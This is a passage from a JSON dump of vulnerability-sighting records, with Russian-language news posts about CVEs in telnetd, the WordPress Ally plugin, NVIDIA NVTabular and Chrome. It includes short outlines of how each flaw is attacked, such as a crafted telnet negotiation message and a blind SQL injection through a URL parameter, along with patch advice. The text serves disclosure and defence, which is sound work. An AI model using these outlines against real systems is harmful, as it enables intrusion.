\u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043d\u0443\u0436\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0417\u0434\u0435\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043f\u043e\u0440\u0442\u0443 23 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u2014 \u0435\u0449\u0435 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043a\u043e \u0432\u0445\u043e\u0434\u0443. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u043f\u043e\u0434\u043e\u043f\u0446\u0438\u0438 LINEMODE, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u26a1\ufe0f \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0434\u0432\u0435\u0440\u0438: \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0445 \u0437\u0430\u043a\u043b\u0430\u0434\u043e\u043a, \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0438 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a. \u0418\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Dream \u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c 11 \u043c\u0430\u0440\u0442\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u043a 1 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\ud83d\udea8 \u0421\u0430\u043c\u043e\u0435 \u0442\u0440\u0435\u0432\u043e\u0436\u043d\u043e\u0435 \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0434\u044b\u0440\u0430 \u0432 telnetd \u0437\u0430 \u0434\u0432\u0430 \u043c\u0435\u0441\u044f\u0446\u0430. \u0412 \u044f\u043d\u0432\u0430\u0440\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 CVE-2026-24061 \u0441 \u0442\u043e\u0439 \u0436\u0435 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9.8, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0437\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. Telnet \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c, \u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0441\u0442\u0430\u0440\u044b\u0445 Unix-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0441\u0442\u0435\u043d\u0434\u0430\u0445 \u0438 \u0437\u0430\u0431\u044b\u0442\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u041f\u043e\u043a\u0430 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c telnetd \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 root, \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0440\u0442 23 \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430.\n\n#telnet #rce #preauth #\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-25T15:00:08.530138Z"}, {"uuid": "be8b8734-66ee-4ec8-bc31-470f6c97d4b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/ZerodayAlert/636", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ally \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u0441\u043b\u0430\u0431\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b WordPress\n\n\u0412 WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 Ally \u043e\u0442 Elementor \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2413. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043f\u0440\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0443\u044e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u0443\u0447\u0430\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0441\u0442\u0430\u0432\u044f\u0442 \u043d\u0435 \u0440\u0430\u0434\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432, \u0430 \u043a\u0430\u043a \u0448\u0442\u0430\u0442\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0441\u0430\u0439\u0442\u0430.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 URL. \u0424\u0443\u043d\u043a\u0446\u0438\u044f get_global_remediations() \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 SQL-\u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438, \u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 esc_url_raw() \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043d\u0435 \u043e\u0442 \u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u044b. \u0414\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0438\u0430\u043b\u044c\u043d\u0430\u044f: \u043e\u0434\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c URL, \u0434\u0440\u0443\u0433\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0436\u0451\u0441\u0442\u043a\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 SQL. \u041a\u043e\u0433\u0434\u0430 \u044d\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u0443\u0442\u0430\u044e\u0442, \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0434\u043e\u0431\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u0431\u0435\u0437 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0442\u0432\u0435\u0442\u0430, \u0430 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0447\u0430\u0441\u0442\u043e \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430.\n\n\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 Ally 4.1.0, \u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u043b\u0438\u0448\u044c \u0447\u0430\u0441\u0442\u044c \u0441\u0430\u0439\u0442\u043e\u0432, \u0438 \u0431\u043e\u043b\u0435\u0435 250 \u0442\u044b\u0441\u044f\u0447 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u0414\u043b\u044f \u0440\u044b\u043d\u043a\u0430 WordPress \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u0430\u0432\u043d\u043e \u0448\u0438\u0440\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430: \u043e\u043a\u043d\u043e \u043c\u0435\u0436\u0434\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u043b\u044e\u0431\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u043b\u0430\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0439 \u0440\u0438\u0441\u043a. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0431\u043e\u0439 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0430 \u043a\u0430\u043a \u0441\u0438\u043c\u043f\u0442\u043e\u043c \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439.\n\n#wordpress #elementor #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-25T15:00:08.619846Z"}, {"uuid": "cbe9fefd-e289-44cc-bffd-0394aec3fc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24237", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mrk54d2ppw23", "content": "NVIDIA NVTabular: RCE via Pickle, CVE-2026-24237 Rated CVSS 7.8", "creation_timestamp": "2026-07-26T10:07:06.536824Z"}, {"uuid": "8762b3ae-d1d8-4180-a996-9a3ef29045e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/ZerodayAlert/620", "content": "\u041f\u0435\u0440\u0432\u044b\u0439 \u0432 2026 \u0433\u043e\u0434\u0443 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c\u00bb \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Chrome \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439\n\n\ud83c\udfaf\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2441 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8.8) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445 \u0441\u0442\u0438\u043b\u0435\u0439, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0451\u043d\u043d\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430: \u043f\u0430\u0434\u0435\u043d\u0438\u044f\u043c, \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd27\u0421\u0443\u0434\u044f \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Chromium, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u0441\u0442\u0440\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u044f\u043c\u043e \u0443\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u0435\u0444\u0435\u043a\u0442\u0443 \u0435\u0449\u0451 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u0430\u0442\u0447 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u043c.\n\n\ud83d\udce6\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435: \u0434\u043b\u044f Windows \u0438 macOS \u044d\u0442\u043e \u0441\u0431\u043e\u0440\u043a\u0438 145.0.7632.75 \u0438 145.0.7632.76, \u0434\u043b\u044f Linux \u2014 144.0.7559.75. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430.\n\n#chrome #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.226125Z"}, {"uuid": "c4ea7ebd-98f0-46e9-ae05-86bb20043882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/ZerodayAlert/620", "content": "\u041f\u0435\u0440\u0432\u044b\u0439 \u0432 2026 \u0433\u043e\u0434\u0443 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c\u00bb \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Chrome \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439\n\n\ud83c\udfaf\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2441 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8.8) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445 \u0441\u0442\u0438\u043b\u0435\u0439, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0451\u043d\u043d\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430: \u043f\u0430\u0434\u0435\u043d\u0438\u044f\u043c, \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd27\u0421\u0443\u0434\u044f \u043f\u043e 